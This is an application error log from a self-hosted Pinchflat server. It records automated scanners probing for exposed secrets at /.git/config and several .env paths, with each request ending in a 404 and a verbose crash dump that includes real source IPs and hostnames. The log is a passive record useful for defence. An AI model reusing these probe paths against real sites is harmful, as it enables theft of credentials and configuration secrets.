"x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /client/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9565.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/client/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34904}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9566.0>, params: %{}, path_info: ["client", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/client/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAiY8hC1tnAYAAb0C"} ], (truncated) 15:21:43.937 [info] GET /.git/config 15:21:43.938 [debug] QUERY OK source="settings" db=0.1ms idle=443.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:43.938 [debug] QUERY OK source="settings" db=0.0ms idle=341.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:43.938 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:43.938 [error] #PID<0.9568.0> running PinchflatWeb.Endpoint (connection #PID<0.9567.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9567.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34918}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9568.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAix9Wm6QqagAAb1C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9567.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34918}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9567.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34918}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9568.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAix9Wm6QqagAAb1C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, (truncated) 15:21:44.069 [info] GET /web/.env 15:21:44.069 [debug] QUERY OK source="settings" db=0.0ms idle=472.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:44.069 [debug] QUERY OK source="settings" db=0.0ms idle=236.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:44.069 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:44.069 [error] #PID<0.9570.0> running PinchflatWeb.Endpoint (connection #PID<0.9569.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /web/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9569.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34932}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9570.0>, params: %{}, path_info: ["web", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/web/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAjRTq0G99jcAAb2C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9569.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34932}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9569.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34932}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9570.0>, params: %{}, path_info: ["web", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/web/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAjRTq0G99jcAAb2C"} ], scheme: :http, sc (truncated) 15:21:44.303 [info] GET /public/.env 15:21:44.303 [debug] QUERY OK source="settings" db=0.1ms idle=470.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:44.303 [debug] QUERY OK source="settings" db=0.0ms idle=365.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:44.303 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:44.303 [error] #PID<0.9572.0> running PinchflatWeb.Endpoint (connection #PID<0.9571.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /public/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9571.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34938}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9572.0>, params: %{}, path_info: ["public", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/public/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAkJHJ-8KnegAAb3C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9571.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34938}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9571.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34938}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9572.0>, params: %{}, path_info: ["public", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/public/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAkJHJ-8KnegAAb3C"} ], (truncated) 15:21:44.538 [info] GET /private/.env 15:21:44.538 [debug] QUERY OK source="settings" db=0.0ms idle=469.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:44.539 [debug] QUERY OK source="settings" db=0.0ms idle=469.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:44.539 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:44.539 [error] #PID<0.9574.0> running PinchflatWeb.Endpoint (connection #PID<0.9573.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /private/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /private/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9573.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/private/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34948}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9574.0>, params: %{}, path_info: ["private", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/private/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAlBONNuAnUkAAb4C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9573.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/private/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34948}, bindings: %{}, sock: {{172, 